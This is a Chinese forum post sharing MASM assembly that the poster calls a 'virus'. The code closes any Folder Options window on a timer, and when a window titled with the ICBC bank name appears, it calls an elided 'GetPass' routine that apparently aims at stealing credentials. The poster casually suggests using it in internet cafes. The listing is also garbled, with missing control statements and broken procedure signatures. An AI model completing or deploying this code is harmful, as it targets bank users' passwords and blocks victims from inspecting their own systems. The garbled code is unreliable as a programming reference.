| 查看: 385 | 回复: 0 | |||
| 当前主题已经存档。 | |||
sdlj8051金虫 (著名写手)
|
[交流]
讨论一个汇编写的＂病毒＂
|
||
|
;MASM 病毒:禁止打开文件夹选项,运行后请用任务管理器结束 .486 .model flat,stdcall option casemap:none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 数据 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Equ 数据 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data sbar db "文件夹选项",0 sbar2 db 185,164,201,204,210,248,208,208,0 ;ICBC .data? slen dd ? fwin HINSTANCE ? hInstance HINSTANCE ? CommandLine LPSTR ? Timerid UINT ? lpString byte 127 dup(?) ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 代码段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code TimerProc PROC hWnd  WORD,uMsgWORD,wParamWORD,lParamWORDinvoke GetForegroundWindow ;取前台窗口句柄 mov fwin,eax invoke GetWindowText, fwin,addr lpString,100 ;取窗口标题 .if eax==0 ret .endif invoke lstrlen, offset lpString ;获得长度 mov slen,eax invoke CharUpperBuff,offset lpString,slen ;转为大写 invoke lstrcmp,addr lpString, addr sbar ;比较文本 invoke SendMessage,fwin,WM_CLOSE,NULL,NULL .endif invoke lstrcmp,addr lpString, addr sbar2 ;比较文本 .if eax==0 invoke GetPass,fwin .endif ret TimerProc endp ;************************************************************ whileStar PROC LOCAL @stMsg:MSG .while TRUE invoke GetMessage,addr @stMsg,NULL,0,0 .break .if (!eax) invoke TranslateMessage,addr @stMsg invoke DispatchMessage,addr @stMsg .endw ;...... ret whileStar endp GetPass PROC hwnd:drord ;...... GetPass endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 程序开始 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke SetTimer,NULL,NULL,100, addr TimerProc ;定时器:100ms mov Timerid,eax invoke whileStar ;进入消息循环,直到收到退出消息 invoke KillTimer,NULL,Timerid invoke ExitProcess,NULL ;******************************************************************** end start ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 实际上也不算病毒，网吧里可能用得着 如果加一个配置文件，就可以结束指定窗口名的程序 等等 [ Last edited by 幻影无痕 on 2006-10-17 at 10:19 ] |
回复此楼» 猜你喜欢
272分材料子求调剂
已经有52人回复
-
一志愿哈工大 085600 277 12材科基求调剂
已经有31人回复
-
290求调剂
已经有16人回复
-
材料工程085601，270求调剂
已经有35人回复
-
085600材料与化工349分求调剂
已经有4人回复
-
22408 352分求调剂
已经有5人回复
-
268分085602化学工程调剂
已经有30人回复
-
0854调剂
已经有6人回复
-
211本科材料化工求调剂
已经有18人回复
-
化学070300 求调剂
已经有6人回复
20